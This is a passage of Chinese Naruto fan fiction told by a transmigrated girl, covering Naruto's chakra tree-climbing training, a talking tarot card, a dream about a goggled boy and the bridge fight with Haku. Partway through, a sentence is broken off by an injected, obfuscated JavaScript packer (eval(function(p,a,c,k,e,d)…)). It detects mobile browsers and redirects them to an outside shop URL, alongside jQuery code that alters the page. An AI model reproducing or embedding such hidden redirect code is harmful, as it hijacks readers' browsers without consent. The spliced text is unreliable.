嘴角不自觉地弯起一抹清浅的弧度,是沟通成功的欣然,也是对自身这份奇异能力的确认。我再次凝神于『教皇』牌,感受着那份微弱却持续的精神连接,尝试解读它传递的、模糊的意念。它似乎在低语着“秩序”、“规则”、“内在的灯塔”。 就在这时,一阵裹挟着汗味与尘土气息的风扑至面前。 “姐!你看!我做到了!” 鸣人兴奋的呼喊几乎在耳畔炸响。他不知何时已冲到近前,金色的发丝被汗水浸得湿漉漉贴在额角,脸上蹭着几道泥印,但那双眼眸亮得惊人,仿佛盛满了坠落的星辰。他指着自己那棵树的树干——一道明显高出之前许多、几乎逼近佐助之前高度的崭新刻痕赫然在目! “我刚才!感觉脚底的查克拉突然听话了一点!一下子就冲上去了!虽然……后来又掉下来了,” 他不好意思地挠挠头,随即又挺直腰板,脸上洋溢着纯粹的、毫无保留的成就感和亟待分享的急切,“但我真的做到了!离那个佐助又近了一大步!” 他像只等待夸奖的大型犬,鼻尖还挂着汗珠,胸膛因喘息而剧烈起伏,亮晶晶的眼睛热切地望着你。那份毫无杂质的热忱与进步带来的巨大喜悦,瞬间驱散了周遭所有的沉郁。 我忍不住笑了,暂时将牌收起。抬起左手,用袖口轻柔地拭去他鼻尖的汗珠和颊边的泥痕,动作自然而熟稔。 “嗯,看到了,” 我的声音带着笑意和真诚的赞许 “进步非常大,鸣人。” 得到我的肯定,鸣人脸上的笑容瞬间绽放得更加耀眼,仿佛获得了世间最珍贵的奖赏。他用力点头 “嘿嘿!我还会爬得更高!等着瞧吧!” 话音未落,又像被注满了能量,斗志昂扬地转身冲回树下,对着佐助的方向扬声宣战 “佐助!看到没有!我马上就能超过你了!” 佐助只是冷冷地斜睨了他一眼,轻哼一声,脚下的动作却陡然变得更加凌厉迅疾,显然也被激起了更盛的好胜心。 午后的阳光逐渐染上慵懒的暖金,将树影悄然拉长。高强度的修行消耗着每一分体力。当日轮西沉,将天边晕染成一片绚烂的橘红时,鸣人和佐助终于榨干了最后一丝气力。 “呼……呼……不行了……真的……一点力气……都没了……” 鸣人四仰八叉地瘫倒在离我不远的草地上,胸膛剧烈起伏,大口喘着粗气,汗水将他身下的草叶洇湿了一大片。他连动动手指的力气都欠奉。 佐助也背靠着树干滑坐下来,闭目调息,虽竭力维持着冷峻的姿态,但苍白的脸色和微微颤抖的手臂泄露了他极致的疲惫。 我扶着树干,缓缓起身,忍者包的重量此刻带来一种奇异的安心感。走到鸣人身旁,挨着他坐下,然后从包中取出早已备好的水壶和用洁净油纸妥帖包裹的饭团。 “给。”窝将水壶递到鸣人唇边。 鸣人勉强掀开一只沉重的眼皮,看到水壶,眸中瞬间又亮起微光,挣扎着想撑起身。我干脆托住他的后颈,小心地倾斜水壶,让清凉的水流滋润他干渴的喉咙。他贪婪地吞咽了好几口,才满足地长吁一口气,重新瘫软下去。 “啊……活过来了……谢谢姐……” 他含糊地嘟囔着,声音里浸满了全然的依赖与安心。 我又拿出一个饭团,细心掰开一半递给他。鸣人接过来便狼吞虎咽,含糊不清地嚷着 “好吃!” “慢点,小心噎着。” 我轻声叮嘱,自己也小口咬下另一半饭团。味道朴实,却在此刻格外熨帖温暖。 “佐助君,给。” 小樱这时也走了过来,脸颊微红地将水和食物递给佐助。佐助低声道谢,安静地接过进食。 夕阳熔金,将余晖温柔地泼洒在训练场上,为疲惫的众人镀上一层温暖的柔光。鸣人仰躺在草地上,望着被霞光浸透的天空,忽然开口,声音带着运动后的沙哑和一丝孩子气的迷茫: “姐……你说,为什么爬树这么难啊?明明就是把查克拉弄到脚底吸住嘛……可它老是乱窜,不听我使唤……” 咽下口中的食物,思忖片刻,目光也投向天边悠然游走的云絮 “大概……就像婴儿学步?起初总是跌跌撞撞,要摔许多次跤。查克拉,或许也有它的‘性子’?你需要学会倾听它,理解它渴望如何流动,而不是一味强横地命令。” 又想起了自己方才沟通『教皇』牌时的心境 “找到与它‘对话’的方式,而非对抗。” 鸣人似懂非懂地眨眨眼,侧过头看向我 “和查克拉……‘说话’?” 他觉得这说法新奇又玄妙。 “嗯,” 我微微颔首,目光仍流连于云霞 “就像……嗯……就像与挚友相处?你需要懂得他的习惯,知晓他何时欣悦,何时会闹别扭。强求只会适得其反。试着去感知它,引导它,而非用蛮力压制。也许……当你心怀‘善意’,它亦会回应你呢?” 像是在解说查克拉,又仿佛在隐喻着更深的东西。 鸣人安静地听着,湛蓝的眸子里映照着漫天霞彩,似乎在认真咀嚼这番带着玄机的话语。他不再抱怨,只是仰望着苍穹,感受着身体里那份虽已疲惫不堪、却依旧磅礴涌动的、独属于他的力量。 过了一会儿,他又咕哝起来,话题跳到了别处 “呐,等回村子,我们去吃一乐拉面吧?修行完特别想念一乐大叔的超大碗叉烧拉面!我请客!”声音里重新注满了活力。 我突然忍俊不禁,笑着答应他 “好,等你恢复力气再说。现在先好好歇着。” “嘿嘿……” 鸣人傻笑起来,疲惫的脸上漾开纯粹的快乐。他挪动身体,脑袋更靠近我所坐着的草地,仿佛这样便能汲取更多的安稳。 看着他发梢沾着的细碎草屑,听着他呼吸逐渐趋于平稳,感受着这劫后余生般的宁静与暖意。手中剩下的饭团被无意识地捏紧了些,我低头凝视掌心,那里仿佛还残留着『教皇』牌带来的、微弱却真实的暖意。 查克拉的记忆……塔罗的低语……破碎的梦境……还有身边这个毫无保留地依赖着你、唤你“姐姐”的少年。 未来将驶向何方?“让所有人都幸福”的宏愿能否照进现实?我其实无从知晓。但此刻,在这被夕阳温柔包裹的训练场,听着鸣人因极度疲惫而渐渐响起的轻微鼾声(他竟然睡着了),看着佐助闭目养神、小樱安静守候的侧影,以及不远处卡卡西老师合上书本、投向这边的深邃目光…… 自己悄然握紧了掌心。至少,眼前这份由羁绊编织的温暖,是真实可触的。我要守护它,用我所能掌控的一切力量——无论是属于忍者的技艺,还是这副塔罗所指引的、幽深而未知的路径。 夕阳沉坠,将相依的身影在草地上拉得很长……很长……,仿佛命运悄然纺就的丝线,在这一刻,又温柔地缠绕在了一起。 14. 『暗夜里的英雄誓言』 又一次深夜而归,达兹纳家的灯火温暖地迎接疲惫的旅人。桌上虽简朴却心意满满的饭菜散发着诱人香气。鸣人和佐助照例风卷残云,只是鸣人在瞥见我时,动作倏然放缓,小心翼翼地咀嚼起来。大概是上次那句“再吃这么猛,吐出来伤了自己胃口,就滚出去别见我”的警告起了作用——我这人,安慰人的本事没有,刀子嘴豆腐心倒是真的。好在,鸣人听得进去。这次,总算没吐。 饭后,小樱好奇的目光落在墙上一幅画上,无意间叩开了伊那利紧锁的心门。男孩猛地跳下椅子,冲出房门,木门在他身后发出沉闷的撞击声。津奈美低声埋怨着追了出去,饭桌上只余一片令人窒息的寂静。最终是小樱打破了僵局,卡卡西老师默契地接话,试图驱散这无形的沉重。达兹纳先生紧抿着唇,无声的泪水悄然滑落,终于开始讲述那个深埋心底、不愿触碰的故事……关于一个“英雄”的故事。 我静静听着,听着凯沙如何从绝望中救下伊那利,如何以不屈的信念改变这个死气沉沉的村庄,如何成为这个家庭不可或缺的一缕阳光……直到最后……被卡多的阴影无情吞噬。 讲述至此,达兹纳先生的泪水已如决堤,鸣人趴在我身旁上,眼神晦暗不明,似在发呆,又似在风暴般的思绪中沉浮。蓦地,他挣扎着从椅子上站起,查克拉透支的身体却背叛了他,重重摔倒在地。小樱焦急询问,卡卡西老师也劝他休息:“修炼的话,明天再说吧,今天耗得太多了。” 鸣人双手颤抖着撑起身体,双腿因虚脱而剧烈抖动,然而那双湛蓝的眼眸里,燃烧着一种近乎固执的坚定。他要让伊那利明白,这世上,英雄从未绝迹! “我要证明给他看!” 话音未落,他已踉跄着冲出门外。我不放心,匆匆道了声抱歉便追了出去。 “我去看看他,别让他练得太晚。” 暮色四合,森林被温柔的夜色拥入怀中。白日喧嚣的河水在寂静中流淌得格外清晰,虫鸣此起彼伏,编织着自然的安眠曲。 鸣人坐在草地上,比白日更显焦躁。他无意识地揪扯着草叶,月光洒落在他紧绷的侧脸上,那双蓝眼睛里跳跃着不甘与愤怒的火苗。 伊那利绝望的话语,显然像一根毒刺,深深扎进了他从未愈合的旧伤——那个被视作“怪物”却执着渴望被认可、渴望成为英雄的、最柔软的痛处。 “可恶!那个臭小鬼!” 鸣人终于爆发,一拳狠狠砸在身旁的草地上,声音闷闷的,裹着浓重的委屈与不解 “他凭什么说那种话!什么‘这世上根本没有英雄’!他懂什么啊!” 我靠坐在树下,望着鸣人愤懑的侧脸。伊那利眼中那片深重的绝望与麻木,亦如一块寒冰,沉沉压在我的心头。他失去了父亲,信仰崩塌,那份痛苦真实得令人窒息。但此刻鸣人的反应,更让我清晰地感受到,伊那利的绝望宣言,像一把粗盐,狠狠撒在了鸣人血淋淋的伤口上。 “他失去了很重要的东西,鸣人。” 我的声音在寂静的夜色中显得格外清晰 “痛苦让他关上了心门,看不到光了。” “那也不能那样说啊!” 鸣人猛地抬起头,月光映照下,那双眼睛亮得惊人,里面燃烧着永不熄灭的火焰 “英雄是存在的!就在我们身边!卡卡西老师是!佐助那家伙……虽然臭屁得要死,但他也在拼命保护同伴!还有姐姐你!” 他的手指坚定地指向我,斩钉截铁 “为了保护卡卡西老师,你受了那么重的伤!这不就是英雄吗?!” 他越说越激动,霍然起身,指向波之国笼罩在朦胧夜色中的方向,仿佛对着那个不在场的、深陷绝望的小男孩,也对着整个沉寂的世界,发出宣告 “我要证明给他看!证明给那个不相信的小鬼看!这个世界上是有英雄的!而我漩涡鸣人——” 他用力拍打着自己的胸膛,发出“砰砰”的声响,如同擂响的战鼓 “——就是要成为火影的英雄!我要保护达兹纳爷爷,保护这座桥,保护这个国家所有重要的人!我要让他亲眼看到!” 少年铿锵的誓言在寂静的夜里回荡,充满了稚拙却无比坚韧的力量。月光温柔地笼罩着他,那一抹橙色仿佛自身在发光,驱散了周遭的黑暗。这份纯粹的、近乎执拗的信念,重重撞击着我的心房,仿佛一道穿透绝望阴霾的强光。 “嗯……”我望着他,认真地点头,但其实,心里也在思考,毕竟,不是所有人都是鸣人,在绝望的时候,会有一个像伊鲁卡老师一样的人拉他上来……也不会有我这个穿越者,拉他上来 “我相信你,鸣人。那就用行动证明给他看。现在,就从控制好你的查克拉开始。连树都爬不上去,怎么当英雄保护别人?” 适时泼下的冷水,也将话题拉回了现实的修炼。 鸣人一愣,随即重重点头 “对!说得对!英雄可不能是个连爬树都摔跤的笨蛋!” 满腔的激愤与证明的渴望,瞬间化作了脚下凝聚的力量。 月下的修炼再次开始。鸣人一次又一次冲向树干,凝聚查克拉,蹬踏,向上攀爬。摔落的次数依旧不少,但每一次,他都立刻弹起,抹掉脸上的汗水与泥土,口中念念有词:“为了证明给那小鬼看!”“为了成为英雄!”,随即再次发起冲锋。那份不顾一切的执着,在清冷的月光下熠熠生辉。 我依旧坐在树下,尝试与『教皇』牌建立更深的联系。夜晚的静谧似乎让精神力更加敏锐,我能更清晰地感知到牌面传递的“秩序”意念。引导着这份意念,梳理体内微弱的力量流,感觉比白日顺畅了一丝。偶尔,当鸣人又一次重重摔落,发出压抑的痛哼时,我会抬头提醒 “别光用蛮力,鸣人,记住‘听’的感觉。” 时间在专注中悄然流逝。月色渐上中天,清辉遍洒大地。鸣人不知疲倦地练习着,汗水浸透了衣衫,呼吸也变得粗重。看着他一次次爬起,一次次冲击,那份为证明“英雄存在”而燃烧的意志,也悄然点燃了我内心的力量。 终于,在一次尝试中,鸣人脚底那圈查克拉光晕前所未有地稳定亮起!他稳稳地向上攀升了七八米,才因后继乏力而滑落!虽然离树顶尚远,但这已是今日最稳定、最高的一次! “哈!姐!你看到了吗?!” 鸣人落地后踉跄几步站稳,兴奋地朝我挥舞着手臂,脸上交织着巨大的疲惫与更大的狂喜 “我做到了!离英雄又近了一步!” 看着他亮如星辰的眼睛和沾满尘土却生机勃勃的笑脸,我也由衷地笑了 “嗯!很棒!保持这种感觉!” 受到巨大鼓舞的鸣人,又咬牙坚持了好几次,直到最后一丝力气也被榨干。他像被抽去了筋骨,直挺挺地倒在离我不远的草地上,胸膛剧烈起伏,大口喘着粗气,连说话的力气都快没了。 “呼……呼……姐……我……我不行了……英雄……也得……歇会儿……” 声音断断续续,眼皮沉重地往下耷拉。 “嗯……” 一股深沉的倦意也席卷了我。夜晚的凉意和持续的专注消耗让我眼皮打架。我挪了挪身体,更深地缩进树根虬结的凹陷处,那里更避风,也更暗一些。月华透过枝叶的缝隙,洒下零碎的银斑,落在身上带着凉意,却也催人欲眠。 鸣人很快发出轻微的鼾声,沉沉睡去。看着他疲惫却满足的睡颜,想着他为证明“英雄”而爆发出的惊人毅力,心头一片温软。这份并肩的羁绊与共同的信念,带来了莫名的安心。 “等一会……再叫他……回去吧……” 念头模糊,握着『教皇』牌的手渐渐松开,牌滑落在身侧的阴影里。倦意如汹涌的潮水,彻底淹没了意识。世界沉入一片宁静的黑暗。 沉入梦境的深渊,意识却并未完全沉寂,反而被熟悉的暖流包裹。冰冷的树根触感消失了,取而代之的是拂过脸颊的、带着草木清香的晨风。 我睁开眼(或者说,在梦中“意识到”自己睁开了眼),发现自己正身处一片繁茂的林间空地。阳光透过层层叠叠的树叶,洒下斑驳的光点。三个身影清晰地围在你身边,他们的面容仿佛蒙着一层柔和的光晕,看不真切具体五官,但那份熟悉感、那份发自灵魂深处的亲近和信任感,却强烈得如同实质。 一个身影格外娇小,棕色的发丝在阳光下仿佛会发光,温和的声音带着令人安心的力量,正低声布置着什么。另一个身影则透着清冷的锐利,银色的发丝在晨光中闪烁,沉默寡言,却有着让人信服的可靠感。而第三个身影……你的目光不由自主地、牢牢地锁定在他身上。 他有些毛躁,动作幅度总是很大,戴着那副标志性的、略显笨重的护目镜(即使在模糊的梦中,这副护目镜也异常清晰)。他正手舞足蹈地说着什么,语气急切又带着点不服输的劲儿,像是在反驳银发同伴的什么话。 “……所以说!……呃,^:~——说的不对!” 他的声音带着少年人特有的清脆和一点点的急躁 “我一定能行!这次任务看我的吧!” 又是任务。梦境仿佛无缝衔接了现实,又像是从记忆深处翻涌上来的碎片。甚至没有思考,身体已经先于意识行动了起来。 我习惯性地蹲下身,打开自己那个熟悉的忍具包,手指在里面熟练地翻找着。不需要刻意去想,几样东西就自动被挑拣出来 一小卷质地更坚韧的绷带(他上次训练擦伤时,普通绷带一下就磨破了)、一包独立包装的兵粮丸(我好像记得他总是忘记带,或者带的不够,训练到一半就饿得肚子咕咕叫)、一小瓶气味清凉的药油(他总是不小心撞到树或者摔倒)……甚至,还有一个用油纸仔细包好的、小小的三色丸子。 “喏,” 我将这些东西一股脑儿塞进那个还在喋喋不休的护目镜少年手里,动作自然得如同呼吸, “绷带是加固过的,药油记得揉开,兵粮丸……饿了就吃,别硬撑。还有这个,” 你指了指那个小油纸包,声音是自己都未曾察觉的温和 “补充糖分。” 护目镜少年愣了一下,低头看着怀里突然多出来的一堆东西,护目镜后的眼睛似乎眨了眨,脸上那种急切和不服气瞬间被一种混合着惊讶和……不好意思的情绪取代。 “诶?又给我?我、我这次记得带了……” “以防万一。” 你打断他,语气带着不容置疑的关心,又转向另外两位同伴 “大家也都检查一下忍具和补给吧?” 棕发的身影似乎对你笑了笑,点了点头。银发同伴则只是淡淡地“嗯”了一声,目光在你和护目镜少年之间扫了一下,又移开了。 任务开始了。梦境中的场景跳跃模糊,像断断续续的胶片。林间追逐、破解简单的陷阱、与作为假想敌的忍者学校学生(?)进行模拟对抗……我始终下意识地关注着那个护目镜少年。他果然还是那样,热血上头就冲得太猛,一次配合中,他为了掩护银发同伴的侧翼,脚下被藤蔓绊住,一个趔趄狠狠摔了出去,膝盖重重磕在裸露的树根上。 “唔!” 他发出一声痛呼,挣扎着想立刻爬起来,动作却因为疼痛而变形,显得有些狼狈。 几乎是瞬间,我就出现在他身边,比离他更近的银发同伴还要快一步。没有犹豫,伸手扶住他的胳膊,支撑他站起。 “别急!先看看有没有伤到骨头!” 我的声音带着一丝不易察觉的紧张。蹲下身,手指小心翼翼地按了按他迅速红肿起来的膝盖。还好,只是硬伤。松了口气,拿出刚才塞给他的药油,拧开盖子,倒了一些在掌心,温热后,力道适中地替他揉搓起来。 清凉带着辛辣的药味弥漫开,他疼得龇牙咧嘴,却强忍着没叫出声。 “痛……痛痛痛!” “忍一忍,揉开才好得快。” 我的声音放得更轻,带着一种连自己都感到陌生的、近乎宠溺的安抚意味 “不过……做得很好。” 我抬起头,看向他护目镜后那双因为疼痛还有因为我的靠近而显得有些无措的眼睛,蓦的,认真地说 “刚才那一瞬间,你选择保护同伴的侧翼,不顾自己可能会摔倒。这份心意,这份毫不犹豫的选择……非常了不起。” 我的话语像带着魔力,瞬间抚平了他脸上的痛楚和狼狈。护目镜后的眼睛猛地睁大了,里面闪烁起明亮的光彩,像被点燃的火种,充满了难以置信的惊喜和被肯定的巨大激动。他甚至忘了膝盖的疼痛,身体微微前倾,声音带着一丝颤抖和巨大的渴望 “真……真的吗?你觉得……我做得对?” 看着他那双瞬间被点亮、充满了纯粹的希冀和依赖的眼睛,一种极其强烈的、混杂着怜惜、骄傲和无法言喻的温柔情绪,如同汹涌的潮水,毫无预兆地冲垮了你梦中理智的堤坝。那句深藏在潜意识最深处、无数次在现实与梦境的边缘徘徊,却因失忆而被遗忘的话语,就这样自然而然地、清晰地流淌了出来 “嗯。最喜欢这样努力的你了。” 话音落下的瞬间,我愣住了。 他也愣住了,仿佛被一道闪电击中,整个人僵在原地,连呼吸都停滞了。 棕发的身影在不远处似乎顿住了脚步。 银发同伴的目光也锐利地扫了过来,带着一丝深沉的探究。 林间的风声、鸟鸣声仿佛都消失了,只剩下你那句清晰无比、带着无限温柔的话语在梦境的空间里回荡。 一股强烈的悸动和巨大的恐慌同时攫住了你!心脏在胸腔里疯狂擂动,不是因为任务,不是因为危险,而是因为这句脱口而出的、完全不受控制的话!它像一把钥匙,瞬间捅开了记忆深处某个被层层锁住的闸门,无数模糊而汹涌的情感碎片呼啸着要奔涌而出,却又被无形的屏障狠狠阻挡,只留下尖锐的刺痛和巨大的空洞! “我……” 你想解释,却发现自己根本不知道自己在说什么,也不知道为何会这么说。眼前护目镜少年那震惊、狂喜又带着深深困惑和一丝不对的表情,像一面镜子,映照出你内心同样的惊涛骇浪和一片茫然。 巨大的眩晕感袭来,梦境开始剧烈地摇晃、破碎…… …… “唔……” 一声压抑的呻吟逸出喉咙。冰凉坚硬的树根触感取代了梦中的温暖晨风。耳畔是潺潺流水与夜虫低鸣,空气清冷潮湿。 我猛地睁开眼,心脏在胸腔里失序狂跳,如同受惊的野马。阳光已洒在身上,然而梦中一切——林间的晨光、朦胧却无比熟悉的身影、那双因我一句话而瞬间被点亮的眼睛、那句石破天惊的“最喜欢”……每一个细节都清晰得可怕,如同滚烫的烙印灼烧着神经。 巨大的失落和一种难以言喻的心痛瞬间将我淹没,比夜露更寒,比梦中的悸动更沉重。我茫然抬起手,指尖似乎还残留着揉搓药油时的温热触感,鼻尖仿佛还萦绕着那清凉辛辣的气息。 那个戴护目镜的少年……是谁? 那句脱口而出的“最喜欢”……是对谁说的? 为何仅仅回想那个模糊的瞬间和那双亮起的眼睛,心口就像被生生剜去一块,空落落地疼? 泪水毫无征兆地涌上眼眶,并非悲伤,而是一种巨大的、无名的、源自灵魂深处的失落与思念。我失神地望着远处林间弥漫的薄雾,任由那陌生而汹涌的情感在寂静的晨光中无声冲刷,仿佛要将那个被遗忘的名字与面容,从混沌的记忆之海中冲刷出来。 “诶?你醒了吗?” 鸣人的声音从背后传来。我慌忙抬手擦拭眼角,试图摆脱梦境的余韵,可越是这样,那股想哭的冲动反而越加强烈。 “姐姐姐姐,你怎么了,怎么突然哭了啊?” 鸣人像做错事的孩子,手忙脚乱地用带着薄茧的手指笨拙地抹去我的眼泪。 “不,没什么,眼睛进沙子了,有点难受……对了,你做什么呢?” 我强扯开话题,既不愿沉溺于回忆,更不愿他担心。 见我似乎真的没事,鸣人挠挠头,脸上又绽开笑容,兴奋地说起刚才的奇遇 “我遇见了一个大姐姐……啊不对不对,应该是少年!比小樱还要可爱的说,居然是男的,反正特别特别漂亮……然后,她问了我好多东西,我不太记得了,反正,她问我有没有重要的人……” 他顿了顿,声音变得认真而温暖 “我当时就想到了你!因为,你是第一个认可我的人!还一直在鼓励我,保护我……” 我听着他滔滔不绝地讲述,心知他遇见了白。时间越来越紧迫了,与再不斩的再次交锋近在眼前。除了腰间的擦伤愈合得很快,头部的撞击依旧困扰着我。自从那次撞击后,这些离奇又真实的梦,便如影随形。 正听着鸣人兴致勃勃地描述那“漂亮少年”,下一秒,他的哀嚎声响起。抬头一看,佐助正环抱着双臂,一脸不耐烦地训斥 “忘记吃饭时间了吗?你们两个超级大白痴!” 猛地想起昨夜还信誓旦旦保证要把鸣人带回去……好吧,昨天的承诺,今天的我概不负责。 好在,佐助别扭地从口袋里掏出带着些微余温的食物。 “早饭,你们两个快吃吧。” 语气虽硬,行动却诚实。 鸣人接过食物,还不忘调侃两句,掰开一半递给我。我小口咀嚼着,鸣人则两口就吞了下去,下一秒便又和佐助较上了劲,投入到新一轮的修炼比拼中。我依旧坐在原地,看着他们在树干上较劲的身影,势要分出个高下。 日头越爬越高,刺眼的阳光灼得人睁不开眼。鸣人和佐助早已攀上树顶——他们成功了,彻底掌握了查克拉的攀附技巧!我也未曾懈怠,一遍遍凝神感应,闭上双眼,与塔罗牌进行着无声的对话。那股温热的能量流遍四肢百骸,带来一种奇异的安宁。 “诶!你在这里啊?奇怪,佐助和鸣人去哪里了?” 小樱的声音适时响起。我睁开眼,看见卡卡西老师也在一旁,依旧沉迷于他的《亲热天堂》。下一瞬,破空之声传来,几枚手里剑从天而降!我们循声望去,只见鸣人趴在树枝上,笑嘻嘻地俯视着我们,随即像是要故意吓人一般,摇晃着从树枝上“跌落”! 这耍帅的方式……实在让人不忍直视。 有点尴尬呢…… “不要乱吓人啊!混蛋!” 小樱从惊吓中回神,怒气冲冲地对着还在嬉皮笑脸的鸣人吼道。卡卡西老师眼中刚浮现的欣赏之色,瞬间被鸣人这惊险动作吓得凝固,连《亲热天堂》都失手掉落。幸而佐助身形如电,及时接住了鸣人,避免了他的脑袋与大地来个亲密接触。 “不愧是佐助,好厉害!”小樱由衷赞叹。 …… 饭桌上,佐助拉着鸣人姗姗来迟,两人都灰头土脸,活像刚从泥地里打过滚。卡卡西老师看着他们,尤其在听到两人都成功爬上了树顶后,赞许地点点头,正式委派他们保护达兹纳先生的任务。两人瞬间眼睛放光,鸣人更是激动得脚下打滑,直直摔倒在地,连带拽倒了旁边的佐助。 “你这个白痴!”佐助的怒吼响彻饭厅。 我忍俊不禁,招手让鸣人赶紧落座。饿坏了的鸣人喊着“我要开动了”,立刻对眼前的食物展开了风卷残云般的攻势,不消片刻便一扫而空,随即趴在桌上假寐起来。 达兹纳先生神色复杂地开口,询问为何我们还愿意保护他,毕竟他伪造了任务等级。卡卡西老师平静解释 “见义不为非勇士,强将手下无弱兵。” 然而,伊那利却突然爆发了,他嘶吼着质问 “为什么要这么努力?反正也打不过卡多的手下!” 我凝视着他的眼睛,那里面翻涌着深不见底的绝望,一种不敢再相信、害怕再次失去希望的眼神。 “像你这样的爱哭鬼,就一辈子沉溺在痛苦里吧!” 鸣人毫不客气地回击,一如当初对待木叶丸。他霍然起身,不愿再多待一秒,插着兜快步离开。 “抱歉,伊那利,鸣人他不是这个意思……” 我连忙替他向伊那利道歉,努力挤出一个温和的笑容,随即也追了出去。我知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575534|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,后面卡卡西老师会去找伊那利好好谈谈。 追上气鼓鼓的鸣人,看着他小脸上沾着的尘土,我抬手替他轻轻擦拭。 “别生气了,鸣人。” “哼……” “好了,鸣人,” 我放缓声音 “伊那利……他只是害怕。你的努力他都看在眼里,他只是害怕……害怕你也会和他的父亲一样,被卡多……” “我和他不一样!” 鸣人梗着脖子打断。 我轻叹一声,屈指弹了弹他的额头 “我知道。” “我们不理解伊那利,是因为我们身边,总能看到英雄的身影。可伊那利……他身边的英雄,只有他的父亲。而他的父亲,已经被卡多杀害了。村子变成了这样……他无法理解我们,更无法接受新的希望再次被掐灭的可能。” “我知道你现在听不进去,” 看着他那执拗的神情,我柔声道 “好好睡一觉吧,今天你也很辛苦……” 猛然间,梦中那句脱口而出的话语再次闪过脑海——努力的你我很喜欢。鬼使神差般,我的嘴竟比脑子更快地说了出来: “努力的你我很喜欢。” 空气瞬间凝固。我慌忙站起身,匆匆道了声“晚安”,几乎是落荒而逃,冲回了和小樱的房间。头部的绷带已经可以拆下,额角留下了一道难看的疤痕。小樱安慰说有祛疤的药膏,虽然,我其实并不那么在意。 毕竟,胳膊上、腿上,早已布满了……我以前所做的,丑陋的伤疤…… …… 晨光熹微,洒进房间。我依旧像宿醉未醒般,需要对着天花板发足十五分钟的呆。直到小樱穿戴整齐,第三次催促起床,才慢吞吞地撑起身子穿衣。路过鸣人房间时,昨夜那句不经大脑的话又浮上心头,尴尬感瞬间蔓延,我几乎是踮着脚快步溜走。 算了算了,好尴尬。 一行人告别了津奈美,向着那座连接希望与绝望的大桥进发。工程已近尾声,危险的气息也越发浓重,容不得半点松懈。忍者包中,塔罗牌再次隐隐散发出温热。我用手轻轻按住它,感受着那平稳下来的暖意,归于平静…… 大概,再次遭遇再不斩的时刻,就要到了。 …… 我们赶到桥上,眼前的景象一片狼藉。施工人员横七竖八倒在地上,混乱不堪。随着浓雾如同冰冷的帷幕般无声升起,那个令人心悸的身影——再不斩,再次登场。 瞬间,阵型已成!我们三人将达兹纳先生牢牢护在中心。我反手从腿间抽出苦无,另一只手紧紧按住忍具包中微微发烫的塔罗牌,冷汗顺着额角滑落。恐惧感依旧如影随形,但这一次,指关节因用力而微微发白。 再不斩嘲弄的声音穿透浓雾 “哼,小鬼们还在害怕得发抖吗?” 话音未落,他身边的水汽骤然凝聚,一个、两个……更多的水分身如鬼魅般出现! “动手,佐助!” 卡卡西老师一声令下。佐助的身影如离弦之箭,快得只留下残影!手中苦无精准划过,那些水分身甚至来不及反应,便在半途拦腰截断,化作冰冷的水花四溅开来!修炼的成果,在这一刻展露无遗! 迷雾的另一端,再不斩与白的身影清晰地浮现。 “你的对手出现了,白。” 再不斩的声音冰冷。 我们紧盯着对面的大敌。卡卡西老师慵懒的声音带着洞悉一切的自信响起 “我猜中了……那个戴面具的果然是同伙。” 唇枪舌剑的交锋间,佐助与白的战斗已然打响!白的身影裹挟着刺骨寒风高速袭来,佐助毫不示弱,手中苦无稳稳架住激射而来的千本!金属碰撞的脆响如同骤雨般密集响起!两人在方寸之地腾挪闪转,速度竟一时不分伯仲!苦无的寒光与千本的银芒交织成一片令人眼花缭乱的死亡之网。 僵持之际,白单手结印,无声无息!他们脚下散落的水渍瞬间凝结,化为无数尖锐的冰针,毒蛇般刺向佐助立足之处! “嘭!”烟雾弥漫! 烟雾尚未散尽,一道身影踉跄着向后跌退——竟是白! (心中忍不住莞尔:真是动漫经典的有烟无伤定律啊……不对,现在可不是笑的时候!) 佐助的身影如鹰隼般从烟雾上方凌空扑下,数枚苦无带着凌厉的破空声射向立足未稳的白!白被迫连连后退,好不容易稳住重心,佐助却已如影随形瞬身而至!手中苦无划出一道冷冽的弧光!白反应极快,猛地矮身下蹲,堪堪避过要害,却被佐助紧随其后的一记势大力沉的侧踢狠狠踹中! “砰!” 白如同断线的风筝,被这一脚直接踹飞数米,重重摔落在冰冷的桥面上!连再不斩的眼中都掠过一丝难以置信的惊愕——白竟在速度上落了下风! “说什么小鬼小鬼的,小看我们第七班,可是会很头疼的。” “别看他这样,” 卡卡西老师适时补充,语气带着一丝不易察觉的骄傲 “佐助可是我们木叶的第一新人。小樱是村里理论最扎实的。旁听生的观察力,无人能及。” 我和小樱被点名夸奖,都有些不好意思地微微脸红。 “然后还有一个……” 卡卡西的目光突然有些无奈 “是爱出风头,最出人意料,总能搅乱局面的胡闹忍者——漩涡鸣人……” 再不斩只是发出一声低沉而意味不明的嗤笑,侧头对白低语了几句。突然,一股令人心悸的冰冷查克拉轰然爆发!蓝色的光芒自白周身汹涌而出,带着浓烈杀意——来了!魔镜冰晶! 寒气骤然降临,刺骨的冰冷激得我打了个寒颤。只见白的身影如同融入水中,倏然没入一面凭空出现的巨大冰镜之中!紧接着,一面、两面……无数冰镜拔地而起,瞬间将佐助围困在中央!每一面光滑如镜的冰面中,都清晰地映出“白”的身影!卡卡西老师眼神一凛,身形急动想要救援,却被再不斩如鬼魅般拦在身前! “你的对手是我吧?” 再不斩的声音带着戏谑的残忍 “让他使出那招……那小子基本就没救了。” 冰晶牢笼之内,战况急转直下!无数道银亮的千本,如同被无形之手操控的暴雨,从四面八方、每一面冰镜中激射而出!它们撕裂空气,发出尖锐的嘶鸣,无情地攒射向中央的佐助!小樱在我身边发出一声心疼的惊呼! 佐助奋力闪避、格挡,但冰镜折射的角度刁钻无比!冰冷的千本穿透护甲,刺入皮肉,细密的血珠瞬间从多处伤口迸溅出来!伤口虽不深,但那密集的痛楚足以瓦解任何防御!佐助一时被压制得抬不起头,只能徒劳地用手臂护住要害。 “抱歉,达兹纳先生,旁听生!我去帮佐助!” 